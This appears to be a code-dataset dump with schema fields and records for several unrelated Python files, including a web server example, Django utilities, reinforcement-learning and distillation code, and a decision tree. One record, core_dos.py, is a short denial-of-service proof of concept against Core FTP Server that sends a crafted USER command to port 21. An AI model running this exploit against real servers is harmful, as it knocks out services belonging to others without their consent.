hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
1c33797ae21b5684e8af23125a3d72721bee019a
1,554
py
Python
examples/hello_world.py
keredson/tinyweb
9b4619cef1bf3c1c25c3ec970c13a117e4b49346
[ "MIT" ]
138
2018-01-22T20:57:38.000Z
2022-03-20T20:25:57.000Z
examples/hello_world.py
davidmoshal/tinyweb
33d73c90f005cfd3423affe358cad0f13c37728f
[ "MIT" ]
43
2018-01-04T19:40:50.000Z
2022-03-11T04:13:56.000Z
examples/hello_world.py
davidmoshal/tinyweb
33d73c90f005cfd3423affe358cad0f13c37728f
[ "MIT" ]
31
2018-01-04T19:44:43.000Z
2022-02-25T18:22:59.000Z
#!/usr/bin/env micropython """ MIT license (C) Konstantin Belyalov 2017-2018 """ import tinyweb # Create web server application app = tinyweb.webserver() # Index page @app.route('/') async def index(request, response): # Start HTTP response with content-type text/html await response.start_html() # Send ...
25.47541
99
0.608752
import tinyweb app = tinyweb.webserver() @app.route('/') async def index(request, response): await response.start_html() await response.send('<html><body><h1>Hello, world! (<a href="/table">table</a>)</h1></html>\n') @app.route('/redirect') async def redirect(request, response): awa...
true
true
1c337acc17a2be10f8496a8319d99b7d4033b230
1,148
py
Python
FMR3.py
PRASAD-DANGARE/PYTHON
36214f7dc3762d327e5a29e40752edeb098249c8
[ "MIT" ]
1
2021-06-07T07:55:28.000Z
2021-06-07T07:55:28.000Z
FMR3.py
PRASAD-DANGARE/PYTHON
36214f7dc3762d327e5a29e40752edeb098249c8
[ "MIT" ]
null
null
null
FMR3.py
PRASAD-DANGARE/PYTHON
36214f7dc3762d327e5a29e40752edeb098249c8
[ "MIT" ]
null
null
null
''' Description : Creating Filter, Map, Reduce Using Lambda In CheckEven & Increment Function Function Date : 21 Feb 2021 Function Author : Prasad Dangare Input : Int Output : Int ''' from functools import reduce CheckEven = lambda no : (no % 2 == 0) # (no % 2) it disp...
25.511111
96
0.591463
from functools import reduce CheckEven = lambda no : (no % 2 == 0) Increment = lambda no : no + 2 Add = lambda no1,no2: no1 + no2 def Add(no1, no2): return no1 + no2 def main(): arr = [] print("Enter Number Of Elements : ") size = int(input()) for i in range(size): ...
true
true
1c337ba90e3206e8f089b8a4898c1d48a9a249cf
695
py
Python
HTN 2021 Backend/cockroach/manage.py
joonsauce/HTN-2021
573722e3a9a74e928562c93a96649dc1e6e5843f
[ "MIT" ]
null
null
null
HTN 2021 Backend/cockroach/manage.py
joonsauce/HTN-2021
573722e3a9a74e928562c93a96649dc1e6e5843f
[ "MIT" ]
null
null
null
HTN 2021 Backend/cockroach/manage.py
joonsauce/HTN-2021
573722e3a9a74e928562c93a96649dc1e6e5843f
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cockroach_example.settings') try: from django.core.management import execute_from_command_...
30.217391
82
0.661871
import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cockroach_example.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's i...
true
true
1c337bee7cd0693eab260160e467f2c2904382dd
1,547
py
Python
django_postgres_extensions/models/sql/subqueries.py
primal100/django_nosql
bb1edc2cbf194fe571a605595a898b2528918301
[ "BSD-3-Clause" ]
56
2016-08-19T10:47:24.000Z
2022-01-04T16:19:40.000Z
django_postgres_extensions/models/sql/subqueries.py
primal100/django_nosql
bb1edc2cbf194fe571a605595a898b2528918301
[ "BSD-3-Clause" ]
8
2016-11-18T17:02:55.000Z
2020-02-05T02:45:05.000Z
django_postgres_extensions/models/sql/subqueries.py
primal100/django_nosql
bb1edc2cbf194fe571a605595a898b2528918301
[ "BSD-3-Clause" ]
30
2017-07-17T19:06:15.000Z
2022-03-26T12:03:01.000Z
from django.db.models.sql.subqueries import UpdateQuery as BaseUpdateQuery from django.utils import six from django.core.exceptions import FieldError class UpdateQuery(BaseUpdateQuery): def add_update_values(self, values): """ Convert a dictionary of field name to value mappings into an update ...
45.5
94
0.570136
from django.db.models.sql.subqueries import UpdateQuery as BaseUpdateQuery from django.utils import six from django.core.exceptions import FieldError class UpdateQuery(BaseUpdateQuery): def add_update_values(self, values): values_seq = [] for name, val in six.iteritems(values): if '__' ...
true
true
1c337cbe8d9b470df7a41ce6346db421baca5e69
569
py
Python
codes/core_dos.py
MasterScott/hack4career
2e1b815a083e3f50ddfc59b0e61d9dc5e7c6f856
[ "Apache-2.0" ]
96
2015-06-03T04:32:36.000Z
2022-03-16T21:46:14.000Z
codes/core_dos.py
MasterScott/hack4career
2e1b815a083e3f50ddfc59b0e61d9dc5e7c6f856
[ "Apache-2.0" ]
null
null
null
codes/core_dos.py
MasterScott/hack4career
2e1b815a083e3f50ddfc59b0e61d9dc5e7c6f856
[ "Apache-2.0" ]
30
2016-01-22T14:45:51.000Z
2021-09-14T06:29:31.000Z
# Core FTP Server 1.0 Build 319 # Denial of Service Vulnerability # Note: FTP account is not required for exploitation # http://www.mertsarica.com import socket, sys HOST = 'localhost' PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) exce...
22.76
75
0.634446
import socket, sys HOST = 'localhost' PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) except: print "Connection error" sys.exit(1) try: s.send('USER MS\r\n') s.close() print("Very good, young padawan, but you ...
false
true
1c337d56b55c427783a9423271a2671bd9e50c9a
21,999
py
Python
baselines/her/ddpg.py
swkokr/FetchPickAndPlace_HER_DDPG
8378b53dac922cffeff8e2bdabca69cf6fd8bd54
[ "MIT" ]
null
null
null
baselines/her/ddpg.py
swkokr/FetchPickAndPlace_HER_DDPG
8378b53dac922cffeff8e2bdabca69cf6fd8bd54
[ "MIT" ]
null
null
null
baselines/her/ddpg.py
swkokr/FetchPickAndPlace_HER_DDPG
8378b53dac922cffeff8e2bdabca69cf6fd8bd54
[ "MIT" ]
null
null
null
from collections import OrderedDict import numpy as np import tensorflow as tf from tensorflow.contrib.staging import StagingArea from baselines import logger from baselines.her.util import ( import_function, store_args, flatten_grads, transitions_in_episode_batch, convert_episode_to_batch_major) from baselines.h...
48.995546
212
0.630347
from collections import OrderedDict import numpy as np import tensorflow as tf from tensorflow.contrib.staging import StagingArea from baselines import logger from baselines.her.util import ( import_function, store_args, flatten_grads, transitions_in_episode_batch, convert_episode_to_batch_major) from baselines.h...
true
true
1c337e6758b16a9bafaa9f9554d376509b23dd65
49
py
Python
day.py
dbk9eb/cs3240-labdemo
a03b7487ff2fafd1cb45227db47084152b062a70
[ "MIT" ]
null
null
null
day.py
dbk9eb/cs3240-labdemo
a03b7487ff2fafd1cb45227db47084152b062a70
[ "MIT" ]
null
null
null
day.py
dbk9eb/cs3240-labdemo
a03b7487ff2fafd1cb45227db47084152b062a70
[ "MIT" ]
null
null
null
import helper helper.print_message("Good day!")
12.25
33
0.77551
import helper helper.print_message("Good day!")
true
true
1c337e7eeef15dde12d44510cd913c3e9a628fd0
7,825
py
Python
test/test_niaapi_api.py
sdnit-se/intersight-python
551f7685c0f76bb8af60ec83ffb6f9672d49a4ae
[ "Apache-2.0" ]
21
2018-03-29T14:20:35.000Z
2021-10-13T05:11:41.000Z
test/test_niaapi_api.py
sdnit-se/intersight-python
551f7685c0f76bb8af60ec83ffb6f9672d49a4ae
[ "Apache-2.0" ]
14
2018-01-30T15:45:46.000Z
2022-02-23T14:23:21.000Z
test/test_niaapi_api.py
sdnit-se/intersight-python
551f7685c0f76bb8af60ec83ffb6f9672d49a4ae
[ "Apache-2.0" ]
18
2018-01-03T15:09:56.000Z
2021-07-16T02:21:54.000Z
# coding: utf-8 """ Cisco Intersight Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environmen...
32.334711
1,052
0.689968
from __future__ import absolute_import import unittest import intersight from intersight.api.niaapi_api import NiaapiApi from intersight.rest import ApiException class TestNiaapiApi(unittest.TestCase): def setUp(self): self.api = intersight.api.niaapi_api.NiaapiApi() def tearDown(self): ...
true
true
1c338012d5f71015b69976f28bb231597f53471c
4,188
py
Python
configs/distillers/fgd/fgd_cascade_mask_rcnn_rx101_32x4d_distill_faster_rcnn_r50_fpn_2x_coco.py
jie311/FGD
031ef509f2f19c281132447d82a1c077943eb64e
[ "Apache-2.0" ]
103
2021-11-23T07:12:41.000Z
2022-03-31T13:28:10.000Z
configs/distillers/fgd/fgd_cascade_mask_rcnn_rx101_32x4d_distill_faster_rcnn_r50_fpn_2x_coco.py
jie311/FGD
031ef509f2f19c281132447d82a1c077943eb64e
[ "Apache-2.0" ]
18
2021-11-29T14:59:21.000Z
2022-03-31T09:43:39.000Z
configs/distillers/fgd/fgd_cascade_mask_rcnn_rx101_32x4d_distill_faster_rcnn_r50_fpn_2x_coco.py
Senwang98/Lightweight-Detection-and-KD
7d6a4c02d922d4ed0920c9108f1f06dd63c5e90b
[ "Apache-2.0" ]
12
2021-11-28T10:26:38.000Z
2022-03-28T06:10:44.000Z
_base_ = [ '../../_base_/datasets/coco_detection.py', '../../_base_/schedules/schedule_2x.py', '../../_base_/default_runtime.py' ] # model settings find_unused_parameters=True temp=0.5 alpha_fgd=0.00005 beta_fgd=0.000025 gamma_fgd=0.00005 lambda_fgd=0.0000005 distiller = dict( type='DetectionDistiller', ...
49.857143
198
0.401862
_base_ = [ '../../_base_/datasets/coco_detection.py', '../../_base_/schedules/schedule_2x.py', '../../_base_/default_runtime.py' ] find_unused_parameters=True temp=0.5 alpha_fgd=0.00005 beta_fgd=0.000025 gamma_fgd=0.00005 lambda_fgd=0.0000005 distiller = dict( type='DetectionDistiller', teacher_pretrai...
true
true
1c3380428247352863fee058af182659e36101fa
10,798
py
Python
MLCtr/machineLearning/decision_tree.py
devillove084/CollageDesign
e2a85a8d15f82d1f72b754de04af78126eae9a1c
[ "MIT" ]
3
2018-12-28T14:12:53.000Z
2019-06-08T16:30:25.000Z
MLCtr/machineLearning/decision_tree.py
devillove084/CollageDesign
e2a85a8d15f82d1f72b754de04af78126eae9a1c
[ "MIT" ]
null
null
null
MLCtr/machineLearning/decision_tree.py
devillove084/CollageDesign
e2a85a8d15f82d1f72b754de04af78126eae9a1c
[ "MIT" ]
null
null
null
from __future__ import division, print_function import numpy as np import cupy from graduateutil import divide_on_feature, train_test_split, standardize, mean_squared_error from graduateutil import calculate_entropy, accuracy_score, calculate_variance class DecisionNode(): """Class that represents a decision nod...
39.265455
104
0.602889
from __future__ import division, print_function import numpy as np import cupy from graduateutil import divide_on_feature, train_test_split, standardize, mean_squared_error from graduateutil import calculate_entropy, accuracy_score, calculate_variance class DecisionNode(): def __init__(self, feature_i=None, thre...
true
true
1c338084d15ebb05209be561572bd9f31821a301
289
py
Python
define.py
nikv96/Retail-Work-Allocation-Program
23da2478c287846ebba59b30c94dd4e28aba2a62
[ "MIT" ]
1
2019-01-16T05:00:29.000Z
2019-01-16T05:00:29.000Z
define.py
nikv96/Retail-Work-Allocation-Program
23da2478c287846ebba59b30c94dd4e28aba2a62
[ "MIT" ]
null
null
null
define.py
nikv96/Retail-Work-Allocation-Program
23da2478c287846ebba59b30c94dd4e28aba2a62
[ "MIT" ]
null
null
null
'''This file has all the definitions''' weekends = ["Sunday", "Saturday"] weekdays = ["Monday","Tuesday","Wednesday","Thursday","Friday"] days = ["Sunday", "Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"] unusable_words = ["Name", "Off", "Days", "========================"]
41.285714
80
0.598616
weekends = ["Sunday", "Saturday"] weekdays = ["Monday","Tuesday","Wednesday","Thursday","Friday"] days = ["Sunday", "Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"] unusable_words = ["Name", "Off", "Days", "========================"]
true
true
1c3380ecd30ca56195bc242c33cef8c3f44c596d
4,329
py
Python
photo_gallery/models.py
Fritzip/splitted-nz
405089440350c4808144d5ed711606513efcdefb
[ "Apache-2.0" ]
null
null
null
photo_gallery/models.py
Fritzip/splitted-nz
405089440350c4808144d5ed711606513efcdefb
[ "Apache-2.0" ]
3
2019-11-16T08:10:48.000Z
2020-03-14T23:14:41.000Z
photo_gallery/models.py
Fritzip/splitted-nz
405089440350c4808144d5ed711606513efcdefb
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import uuid from django.db import models from django.db.models.signals import post_delete from django.dispatch import receiver from django.urls import reverse from imagekit.models import ImageSpecField from imagekit.processors import ResizeToFit from datetime import datet...
37.973684
146
0.635482
import uuid from django.db import models from django.db.models.signals import post_delete from django.dispatch import receiver from django.urls import reverse from imagekit.models import ImageSpecField from imagekit.processors import ResizeToFit from datetime import datetime def event_date(start, end): if end i...
true
true
1c33815f990bfe1e8339c56f82402e636f730e30
938
py
Python
clients/client/python/test/test_identity_schema_location.py
ory/sdk
9849c6115f44f4b7612ad246124d80b4401fd730
[ "Apache-2.0" ]
77
2020-02-14T17:27:36.000Z
2022-03-25T08:44:52.000Z
clients/client/python/test/test_identity_schema_location.py
vinckr/sdk
5b93557835af7ad3662ef620b3ef10729149d484
[ "Apache-2.0" ]
125
2020-02-07T21:45:52.000Z
2022-03-31T12:54:24.000Z
clients/client/python/test/test_identity_schema_location.py
vinckr/sdk
5b93557835af7ad3662ef620b3ef10729149d484
[ "Apache-2.0" ]
44
2020-01-31T22:05:47.000Z
2022-03-09T14:41:22.000Z
""" Ory APIs Documentation for all public and administrative Ory APIs. Administrative APIs can only be accessed with a valid Personal Access Token. Public APIs are mostly used in browsers. # noqa: E501 The version of the OpenAPI document: v0.0.1-alpha.30 Contact: support@ory.sh Generated by: htt...
25.351351
194
0.716418
import sys import unittest import ory_client from ory_client.model.identity_schema_location import IdentitySchemaLocation class TestIdentitySchemaLocation(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testIdentitySchemaLocation(self): s if ...
true
true
1c33821447ee3a2205f9ad20463239156a6209b2
1,375
py
Python
AtC_Reg_Con_041-050/ARC050/B.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
AtC_Reg_Con_041-050/ARC050/B.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
AtC_Reg_Con_041-050/ARC050/B.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
import math, string, itertools, fractions, heapq, collections, re, array, bisect, sys, copy, functools, random from collections import deque, defaultdict, Counter; from heapq import heappush, heappop from itertools import permutations, combinations, product, accumulate, groupby from bisect import bisect_left, bisect_ri...
50.925926
111
0.593455
import math, string, itertools, fractions, heapq, collections, re, array, bisect, sys, copy, functools, random from collections import deque, defaultdict, Counter; from heapq import heappush, heappop from itertools import permutations, combinations, product, accumulate, groupby from bisect import bisect_left, bisect_ri...
true
true
1c33828faa0aa4daff20627b4fe5cc532a8ee1a8
321
py
Python
src/pvt_model/pvt_system/__init__.py
BenWinchester/PVTModel
6bf3976b06f406f632e0a9e525cd8b05359da239
[ "MIT" ]
1
2021-05-11T14:15:11.000Z
2021-05-11T14:15:11.000Z
src/pvt_model/pvt_system/__init__.py
BenWinchester/PVTModel
6bf3976b06f406f632e0a9e525cd8b05359da239
[ "MIT" ]
14
2021-02-23T11:53:08.000Z
2021-11-16T10:45:31.000Z
src/pvt_model/pvt_system/__init__.py
BenWinchester/PVTModel
6bf3976b06f406f632e0a9e525cd8b05359da239
[ "MIT" ]
null
null
null
#!/usr/bin/python3.7 ######################################################################################## # __init__.py - The init module for the PVT model component. # # Author: Ben Winchester # Copyright: Ben Winchester, 2020 ########################################################################################...
40.125
88
0.327103
true
true
1c3382fc20e6b4435b9f77ff3cc16a4a96a24d0b
34,879
py
Python
tests/ManualTableau/TestIplManualTableau.py
oIi123/TableauxProver
cb527f91f5c2d0393fbfcb3fb501b4480e0c9031
[ "MIT" ]
null
null
null
tests/ManualTableau/TestIplManualTableau.py
oIi123/TableauxProver
cb527f91f5c2d0393fbfcb3fb501b4480e0c9031
[ "MIT" ]
null
null
null
tests/ManualTableau/TestIplManualTableau.py
oIi123/TableauxProver
cb527f91f5c2d0393fbfcb3fb501b4480e0c9031
[ "MIT" ]
null
null
null
import unittest from src.builder_factory import LogicType from src.Parser.PropParser import PropParser from src.TableauxBuilder.BaseManualTableau import BaseManualTableau, BaseTableauxBuilder from src.TableauxBuilder.IpcTableauxBuilder import IpcTableauxBuilder def parse(expr: str): return PropParser.parse(expr)...
33.764763
99
0.577998
import unittest from src.builder_factory import LogicType from src.Parser.PropParser import PropParser from src.TableauxBuilder.BaseManualTableau import BaseManualTableau, BaseTableauxBuilder from src.TableauxBuilder.IpcTableauxBuilder import IpcTableauxBuilder def parse(expr: str): return PropParser.parse(expr)...
true
true
1c3384e6fe16456cdbde54061a311b075d5a9da1
29
py
Python
tests/test_generate_isogeom.py
kkiesling/isogeom-generator
5363c8431694b33f8c8de329ee31b3a6d67ccc7e
[ "MIT" ]
1
2021-01-07T02:45:38.000Z
2021-01-07T02:45:38.000Z
tests/test_generate_isogeom.py
kkiesling/isogeom-generator
5363c8431694b33f8c8de329ee31b3a6d67ccc7e
[ "MIT" ]
21
2020-05-18T16:38:22.000Z
2021-08-24T16:46:24.000Z
tests/test_generate_isogeom.py
kkiesling/isogeom-generator
5363c8431694b33f8c8de329ee31b3a6d67ccc7e
[ "MIT" ]
1
2020-05-18T16:36:35.000Z
2020-05-18T16:36:35.000Z
"""tests for the CLI tool"""
14.5
28
0.62069
true
true
1c33851d2b3f96989d1efe22871a59d33273da9d
141
py
Python
apps/example/urls.py
evertrol/det
5d397010bc9a608dcb38c176bb3f89e4f17ab272
[ "MIT" ]
null
null
null
apps/example/urls.py
evertrol/det
5d397010bc9a608dcb38c176bb3f89e4f17ab272
[ "MIT" ]
null
null
null
apps/example/urls.py
evertrol/det
5d397010bc9a608dcb38c176bb3f89e4f17ab272
[ "MIT" ]
null
null
null
from django.urls import path, include from . import views app_name = 'example' urlpatterns = [ path('', views.index, name='index'), ]
14.1
40
0.673759
from django.urls import path, include from . import views app_name = 'example' urlpatterns = [ path('', views.index, name='index'), ]
true
true
1c3385c27648c79188c5318fa397b3bfcb64799f
1,397
py
Python
bot.py
Juniorredcoder/G-Bot
c733afd912351137a9a1d21451ea442b1ac9d7f2
[ "Unlicense" ]
1
2022-02-10T15:29:33.000Z
2022-02-10T15:29:33.000Z
bot.py
Juniorredcoder/G-Bot
c733afd912351137a9a1d21451ea442b1ac9d7f2
[ "Unlicense" ]
null
null
null
bot.py
Juniorredcoder/G-Bot
c733afd912351137a9a1d21451ea442b1ac9d7f2
[ "Unlicense" ]
null
null
null
print("Type 'help' for show command") import os from colorama import init from colorama import Fore init() c=1 while True : pw=input(Fore.RED + 'G-BOT>') print() if pw == 'help': print("----------COMMAND----------\n\n 1.hey g-bot\n 2.i am fine and you\n 3.who is your boss\n 4.who gave you this name\n...
43.65625
189
0.569077
print("Type 'help' for show command") import os from colorama import init from colorama import Fore init() c=1 while True : pw=input(Fore.RED + 'G-BOT>') print() if pw == 'help': print("----------COMMAND----------\n\n 1.hey g-bot\n 2.i am fine and you\n 3.who is your boss\n 4.who gave you this name\n...
true
true
1c338654e5da1e13145829ea4df34006bc84f57f
3,698
py
Python
tests/test_schedules.py
sunny316/redbeat
51db315ef182f28cbb4a8d33af0b78bd816ac9a6
[ "Apache-2.0" ]
null
null
null
tests/test_schedules.py
sunny316/redbeat
51db315ef182f28cbb4a8d33af0b78bd816ac9a6
[ "Apache-2.0" ]
null
null
null
tests/test_schedules.py
sunny316/redbeat
51db315ef182f28cbb4a8d33af0b78bd816ac9a6
[ "Apache-2.0" ]
null
null
null
from datetime import ( datetime, timedelta ) from unittest import TestCase from mock import patch try: # celery 3.x from celery.utils.timeutils import timezone except ImportError: # celery 4.x from celery.utils.time import timezone from redbeat.schedules import rrule @patch.object(rrule, 'now', dat...
42.022727
94
0.685506
from datetime import ( datetime, timedelta ) from unittest import TestCase from mock import patch try: from celery.utils.timeutils import timezone except ImportError: from celery.utils.time import timezone from redbeat.schedules import rrule @patch.object(rrule, 'now', datetime.utcnow) @patch.obj...
true
true
1c3386f366875ac76dffe8e01e1ffd6fa00ba05d
6,725
py
Python
metadata-ingestion/src/datahub/ingestion/source/snowflake_usage.py
emailstonl/datahub
19b2a42a00ca43a7d042ae2a8e5d05498df7f2a9
[ "Apache-2.0" ]
null
null
null
metadata-ingestion/src/datahub/ingestion/source/snowflake_usage.py
emailstonl/datahub
19b2a42a00ca43a7d042ae2a8e5d05498df7f2a9
[ "Apache-2.0" ]
null
null
null
metadata-ingestion/src/datahub/ingestion/source/snowflake_usage.py
emailstonl/datahub
19b2a42a00ca43a7d042ae2a8e5d05498df7f2a9
[ "Apache-2.0" ]
null
null
null
import collections import dataclasses import json import logging from datetime import datetime, timezone from typing import Dict, Iterable, List, Optional import pydantic import pydantic.dataclasses from sqlalchemy import create_engine from sqlalchemy.engine import Engine import datahub.emitter.mce_builder as builder...
33.625
173
0.684164
import collections import dataclasses import json import logging from datetime import datetime, timezone from typing import Dict, Iterable, List, Optional import pydantic import pydantic.dataclasses from sqlalchemy import create_engine from sqlalchemy.engine import Engine import datahub.emitter.mce_builder as builder...
true
true
1c338708ba9ffe0bff745b5465014d4deb775853
5,676
py
Python
landlab/io/shapefile/read_shapefile.py
cctrunz/landlab
4e4ef12f4bae82bc5194f1dcc9af8ff1a7c20939
[ "MIT" ]
null
null
null
landlab/io/shapefile/read_shapefile.py
cctrunz/landlab
4e4ef12f4bae82bc5194f1dcc9af8ff1a7c20939
[ "MIT" ]
1
2016-03-16T02:34:08.000Z
2016-04-20T19:31:30.000Z
landlab/io/shapefile/read_shapefile.py
cctrunz/landlab
4e4ef12f4bae82bc5194f1dcc9af8ff1a7c20939
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Functions to read shapefiles and create a NetworkModelGrid. """ import shapefile as ps from shapefile import ShapefileException from landlab.grid.network import NetworkModelGrid def read_shapefile(file, dbf=None, store_polyline_vertices=True): """Read shapefile ...
32.067797
83
0.59408
import shapefile as ps from shapefile import ShapefileException from landlab.grid.network import NetworkModelGrid def read_shapefile(file, dbf=None, store_polyline_vertices=True): try: sf = ps.Reader(file) except ShapefileException: try: sf = ps.Reader(shp=file, dbf=dbf) ...
true
true
1c33885ab73973c5c33df2e9e517ec6a25907d24
1,031
py
Python
config/api_router.py
unkn1w/Delivery
21b33f5b8d9f057c129fc78c175b6c79fcd23122
[ "MIT" ]
null
null
null
config/api_router.py
unkn1w/Delivery
21b33f5b8d9f057c129fc78c175b6c79fcd23122
[ "MIT" ]
null
null
null
config/api_router.py
unkn1w/Delivery
21b33f5b8d9f057c129fc78c175b6c79fcd23122
[ "MIT" ]
null
null
null
from django.conf import settings from rest_framework.routers import DefaultRouter, SimpleRouter from delivery_proj.users.api.views import ( UserViewSet, RestaurantViewSet, CreateRestaurantViewSet, CourierViewSet, BuyerViewSet, ) from delivery_proj.dishes.views import DishesListViewSet, DishesCreate...
32.21875
77
0.794374
from django.conf import settings from rest_framework.routers import DefaultRouter, SimpleRouter from delivery_proj.users.api.views import ( UserViewSet, RestaurantViewSet, CreateRestaurantViewSet, CourierViewSet, BuyerViewSet, ) from delivery_proj.dishes.views import DishesListViewSet, DishesCreate...
true
true
1c3389847f06331c2903a02107214390a38adbea
5,083
py
Python
doc/development/tutorials/examples/recipe.py
Lu-Yi-Hsun/sphinx
7e81e1432e4a63bad0b13db5652f9ed02ea04f41
[ "BSD-2-Clause" ]
2
2021-09-25T12:48:31.000Z
2021-10-01T16:59:43.000Z
doc/development/tutorials/examples/recipe.py
Lu-Yi-Hsun/sphinx
7e81e1432e4a63bad0b13db5652f9ed02ea04f41
[ "BSD-2-Clause" ]
2
2022-02-14T03:20:12.000Z
2022-03-02T10:44:31.000Z
doc/development/tutorials/examples/recipe.py
Lu-Yi-Hsun/sphinx
7e81e1432e4a63bad0b13db5652f9ed02ea04f41
[ "BSD-2-Clause" ]
1
2021-06-06T04:30:02.000Z
2021-06-06T04:30:02.000Z
from collections import defaultdict from docutils.parsers.rst import directives from sphinx import addnodes from sphinx.directives import ObjectDescription from sphinx.domains import Domain, Index from sphinx.roles import XRefRole from sphinx.util.nodes import make_refnode class RecipeDirective(ObjectDescription): ...
31.571429
78
0.613024
from collections import defaultdict from docutils.parsers.rst import directives from sphinx import addnodes from sphinx.directives import ObjectDescription from sphinx.domains import Domain, Index from sphinx.roles import XRefRole from sphinx.util.nodes import make_refnode class RecipeDirective(ObjectDescription): ...
true
true
1c3389a940ec699819dd5b5b565bb6d39d01e0f5
5,286
py
Python
tests/test_linux_aarch64_64.py
ngothan/py-cpuinfo
d8a9c9b095be55d5ceebf42497f099039fe8c348
[ "MIT" ]
null
null
null
tests/test_linux_aarch64_64.py
ngothan/py-cpuinfo
d8a9c9b095be55d5ceebf42497f099039fe8c348
[ "MIT" ]
null
null
null
tests/test_linux_aarch64_64.py
ngothan/py-cpuinfo
d8a9c9b095be55d5ceebf42497f099039fe8c348
[ "MIT" ]
null
null
null
import unittest from cpuinfo import * import helpers class MockDataSource(object): bits = '64bit' cpu_count = 6 is_windows = False arch_string_raw = 'aarch64' uname_string_raw = '' can_cpuid = False @staticmethod def has_proc_cpuinfo(): return True @staticmethod def has_lscpu(): return True @stati...
27.821053
99
0.694098
import unittest from cpuinfo import * import helpers class MockDataSource(object): bits = '64bit' cpu_count = 6 is_windows = False arch_string_raw = 'aarch64' uname_string_raw = '' can_cpuid = False @staticmethod def has_proc_cpuinfo(): return True @staticmethod def has_lscpu(): return True @stati...
true
true
1c338a3c880b366bde0f0b55bed72fa47ca41f96
3,267
py
Python
atari/dqn/replay_memory.py
podondra/roboschool-rl
2e6d6b1302eaa9aea12ebd81e2ad7a22d29a8d69
[ "MIT" ]
2
2018-03-06T21:26:34.000Z
2021-12-22T12:31:47.000Z
atari/dqn/replay_memory.py
podondra/roboschool-rl
2e6d6b1302eaa9aea12ebd81e2ad7a22d29a8d69
[ "MIT" ]
4
2019-12-16T20:37:48.000Z
2020-03-30T20:08:36.000Z
atari/dqn/replay_memory.py
podondra/roboschool-rl
2e6d6b1302eaa9aea12ebd81e2ad7a22d29a8d69
[ "MIT" ]
2
2018-03-06T21:45:19.000Z
2018-04-06T20:53:15.000Z
import numpy import tensorflow from collections import deque class Preprocessor: def __init__(self): self.img = tensorflow.placeholder( tensorflow.uint8, shape=[210, 160, 3] ) gray_img = tensorflow.image.rgb_to_grayscale(self.img) resize_img ...
33
76
0.584328
import numpy import tensorflow from collections import deque class Preprocessor: def __init__(self): self.img = tensorflow.placeholder( tensorflow.uint8, shape=[210, 160, 3] ) gray_img = tensorflow.image.rgb_to_grayscale(self.img) resize_img ...
true
true
1c338b26f0776a4698a5f37082f87bdc9110edbf
33,115
py
Python
test/functional/rpc_fundrawtransaction.py
shadow-42/litecoincash
965c806041f8e425ab5b9c8b979cf100c0ecf740
[ "MIT" ]
78
2018-02-20T00:38:43.000Z
2022-03-11T04:11:04.000Z
test/functional/rpc_fundrawtransaction.py
shadow-42/litecoincash
965c806041f8e425ab5b9c8b979cf100c0ecf740
[ "MIT" ]
39
2018-02-20T13:36:27.000Z
2021-11-30T23:38:34.000Z
test/functional/rpc_fundrawtransaction.py
shadow-42/litecoincash
965c806041f8e425ab5b9c8b979cf100c0ecf740
[ "MIT" ]
77
2018-02-20T00:45:12.000Z
2022-02-14T21:21:15.000Z
#!/usr/bin/env python3 # Copyright (c) 2014-2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the fundrawtransaction RPC.""" from test_framework.test_framework import BitcoinTestFramework fro...
45.177353
223
0.569651
from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * def get_unspent(listunspent, amount): for utx in listunspent: if utx['amount'] == amount: return utx raise AssertionError('Could not find unspent with amount={}'.format(amount)) class Raw...
true
true
1c338ee827f3d72ea745ec0b86a9646c7ce8fc3e
219
py
Python
Code/bindings.py
akankshadiwedy/t2wml
02f60611eec19d10a92fd2cb06f07339cd2cb269
[ "MIT" ]
null
null
null
Code/bindings.py
akankshadiwedy/t2wml
02f60611eec19d10a92fd2cb06f07339cd2cb269
[ "MIT" ]
null
null
null
Code/bindings.py
